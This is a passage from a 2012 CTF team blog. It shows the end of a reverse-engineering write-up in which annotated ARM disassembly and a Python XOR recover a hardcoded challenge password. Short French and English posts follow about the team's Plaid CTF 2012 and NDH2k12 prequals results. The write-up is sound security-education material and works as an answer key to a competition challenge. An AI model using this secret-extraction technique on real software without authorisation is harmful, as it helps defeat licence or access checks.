.text:00001048                 LDR     R1, [SP,#0x140+counter1] 		
.text:0000104A                 ADD     R3, SP, #0x140+loaded_2840		
.text:0000104C                 LSLS    R1, R1, #2 						; R1 = counter1 * 4
.text:0000104E                 LDR     R3, [R1,R3] 						; R3 = loaded_2840[ counter1 * 4 ]
.text:00001050                 EORS    R2, R3 							; R2 = loaded_2810[ counter1 * 4 ] ^ loaded_2840[ counter1 * 4 ]
.text:00001052                 LDR     R3, [SP,#0x140+counter1] 		
.text:00001054                 LDR     R1, [SP,#0x140+c_string]
.text:00001056                 ADDS    R3, R1, R3
.text:00001058                 LDRB    R3, [R3] 						; R3 = c_string[ counter1 ]
.text:0000105A                 CMP     R2, R3 							; compare R2 / R3

So this is it :)
The last block of the function doesn't do anything really important (increment the counters, update the current char tested at the beginning of the loop, do some xor on some previously loaded on the stack but unused data, ...)

We now have to dump the 2*12 dwords in the .rodata section, at 0x2810 and 0x2840, and xor them to obtain the password :

>>> a = [0x52,0x1A,0x09,0x7B,0x4B,0x5C,0x20,0x72,0x10,0x67,0x5E,0x49]
>>> b = [0x01,0x4E,0x4C,0x3A,0x00,0x08,0x14,0x20,0x44,0x53,0x0C,0x0C]
>>> "".join( [ chr(a[i] ^ b[i]) for i in range(len(a)) ] )
'STEAKT4RT4RE'

Pwned !

app_validation.png

Plaid CTF 2012


PlaidCTF

Le weekend dernier nous avons participé aux côtés de la team Shell-Storm au Plaid CTF 2012 sous le nom w3stormz (w3pwnz+Shell-Storm). C'était notre première collaboration avec une autre team et on peut dire que cela s'est très bien déroulé. Super ambiance pendant le CTF et on a fini 4ème.

Ranking_pCTF2012

Nous n'avons malheureusement pas eu trop le temps de faire des writes-up, voici ce que nous avons eu le temps de rédiger :


Vous trouverez une collection presque complète sur les sites suivants :


Bonne lecture...

NDH2k12 Prequals - Debriefing


home.png

This year challenges were organized an unusual way: we were some hax0rz hired by a company to complete some tasks they asked for, rewarded by money.

Thus it was storyline, quite messy, hence the following tree, trying to resume how we got accesses to challenges:

Mail "We are looking for a real hacker"
        `-> "Wallpaper image" ($300)
                +
                |
                +-> Mail "What about this file?"
                              `-> "binary file ndh" ($1500)
                                    +
                                    |
                                    +-> Mail "Another weird link"
                                                  `-> "complex remote service" ($2500)
                             `-> "interesting audio file" ($500)
                             `-> "Mole information" ($900)
         `-> "Unknown text" ($100)
               +
               |
               +-> Mail "Any idea how to use this file"
                             `-> "Unknown file extension" ($1700)
         `-> "Unknown zip archive" ($100)
               +
               |
               +-> Mail "unknown binary, need your help"
                             `-> "Strange binary file" ($500)
                                   +
                                   |
                                   +-> Mail "New email from our contact"
                                                 `-> "Sciteek shortener" ($1000)
                                                       +
                                                       |
                                                       +-> Mail "Time is running out"
                                                                     `-> "captured file" ($???)
                                                 `-> "strange binary file #2" ($2500)

Here are the people that participated: Niklos, Ufox, mirmo, Mr_KaLiMaN, vortex, MaZ, Groskoinkoin, criple_ripper, FrizN, Cladff10, Ge0, ThunderLord, awe

Once again, we solved all challenges!

Our team is currently mysteriously ranked #2, but it seems we were first to complete the whole thing.

UPDATE : The staff finally released the final ranking, and as expected we finish 1st, since we were the first to finish all the challenges :)
Here is a screenshot of the final ranking :
ranking.png


Here are the links to our writeups for each challenge, in the order we solved them:

We can sum up this CTF with pictures below =)

chuck_bmp.jpg

          

16952056.jpg

- page 1 of 4

© w3pwnz - 2012

Licence Creative Commons
Ce(tte) œuvre est mise à disposition selon les termes de la Licence Creative Commons Attribution - Pas d’Utilisation Commerciale - Pas de Modification 3.0 France.